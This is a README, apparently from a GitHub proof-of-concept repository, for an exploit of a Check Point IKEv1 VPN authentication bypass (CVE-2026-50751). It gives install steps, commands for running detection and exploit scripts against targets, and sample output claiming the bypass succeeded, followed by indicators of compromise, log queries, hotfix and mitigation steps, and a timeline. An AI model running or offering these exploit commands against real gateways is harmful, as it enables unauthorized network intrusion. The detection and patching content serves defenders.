fevar54/cve-2026-50751---check-point-ikev1-authentication-bypass-exploitVulnerability: Logic flow weakness in Remote Access and Mobile Access
This code is ONLY for educational purposes and authorized security testing. Unauthorized use against systems without explicit permission is ILLEGAL. The author is not responsible for the misuse of this tool.
CVE-2026-50751 is a critical authentication bypass vulnerability in Check Point's deprecated IKEv1 protocol, affecting Remote Access VPN and Mobile Access. An unauthenticated attacker can exploit a flaw in certificate validation to establish a VPN connection without needing a valid password.
| Product | Versions |
|---|---|
| Security Gateways | R80.40 - R82.10 with IKEv1 enabled |
| Spark Firewalls | R80.20.X, R81.10.X, R82.00.X |
| Mobile Access | All versions with IKEv1 |
# Clonar repositorio
git clone https://github.com/username/CVE-2026-50751-PoC
cd CVE-2026-50751-PoC
# Instalar dependencias
pip install -r requirements.txt
# Dar permisos de ejecución
chmod +x exploit.py
📦 Dependencies txt cryptography>=41.0.0 scapy>=2.5.0 colorama>=0.4.6 🚀 Usage Detection scanning bash
python3 detector.py -t 192.168.1.1 -p 500
python3 detector.py -t vpn.target.com -p 4500 Exploitation (AUTHORIZED USE ONLY) bash
python3 exploit.py -t 192.168.1.1 -p 500
python3 exploit.py -t vpn.target.com --interface eth0
python3 exploit.py -t 192.168.1.1 -p 500 -v Expected output text ╔═══════════════════════════════════════════════════════════════╗ ║ CVE-2026-50751 - Check Point IKEv1 Authentication Bypass ║ ║ Critical VPN Authentication Bypass Exploit ║ ║ CVSS: 9.3 | CISA KEV: 2026-06-08 ║ ╚═══════════════════════════════════════════════════════════════╝
[1] Initiating IKEv1 Main Mode... [+] Received response - SPI: a1b2c3d4e5f67890 [2] Sending crafted KE + NONCE payloads... [+] Gateway accepted crafted KE/NONCE - Vulnerability triggered! [3] Calculating authentication keys... [4] Sending spoofed authentication... [+] SUCCESS! Authentication bypassed! [+] Established IKE SA without valid credentials [5] Establishing VPN tunnel... [+] VPN tunnel established! [+] Internal network access available
[✓] EXPLOIT SUCCESSFUL [✓] Authentication bypass achieved [✓] VPN tunnel established [!] System is VULNERABLE - Apply hotfix immediately 🔍 Compromise Detection Search in SmartConsole logs bash
action:"Key Install" AND (src:45.77.149.152 OR dst:45.77.149.152) Known IOCs Type Value Attacker IPs 45.77.149.152, 209.182.225.136, 38.60.157.139, 162.33.177.101, 45.76.26.42, 144.208.127.155, 38.54.88.201, 38.54.107.167, 66.42.99.200, 45.63.104.106, 45.61.136.173 Hashes 52fda5c1b9704544f32ee98d9060e689, 51d39aa39478beeac94f2d12f682ecce 🛡️ Mitigation Option 1 - Apply Hotfix (RECOMMENDED) Version Hotfix Take Link R82.10 Take 19 Download R82 Take 103 Download R81.20 Take 141 Download Option 2 - Temporary Mitigations Disable legacy clients:
SmartConsole → Gateway → VPN Clients → Authentication
Uncheck "Allow older clients"
Force IKEv2 only:
Global Properties → Remote Access → VPN Authentication
Select "IKEv2 only"
Make Machine Certificate mandatory:
VPN Clients → Authentication → Machine Certificate Authentication
Set as "Mandatory"
📚 References NVD - CVE-2026-50751
Check Point SK185033
CISA Known Exploited Vulnerabilities
Blog Post - Check Point Research
📊 Timeline Date Event 2026-05-07 First observed exploitation 2026-06-04 Check Point starts investigation 2026-06-08 CVE published, CISA adds to KEV 2026-06-11 CISA deadline to patch ⚖️ Disclaimer This software is provided "as is", without warranties of any kind. The author is not responsible for the misuse of this tool. Use it only on systems you own or have explicit permission to test.
📞 Contact Open an issue on GitHub
Contact: [email protected]
🌟 Credits Check Point Research - For discovery and analysis
CISA - For coordination and dissemination
Security community - For rapid response
⭐ If this PoC was useful to you, consider giving the repository a star
text
📦 requirements.txt txt cryptography>=41.0.0 scapy>=2.5.0 colorama>=0.4.6 ⚠️ Important note for GitHub: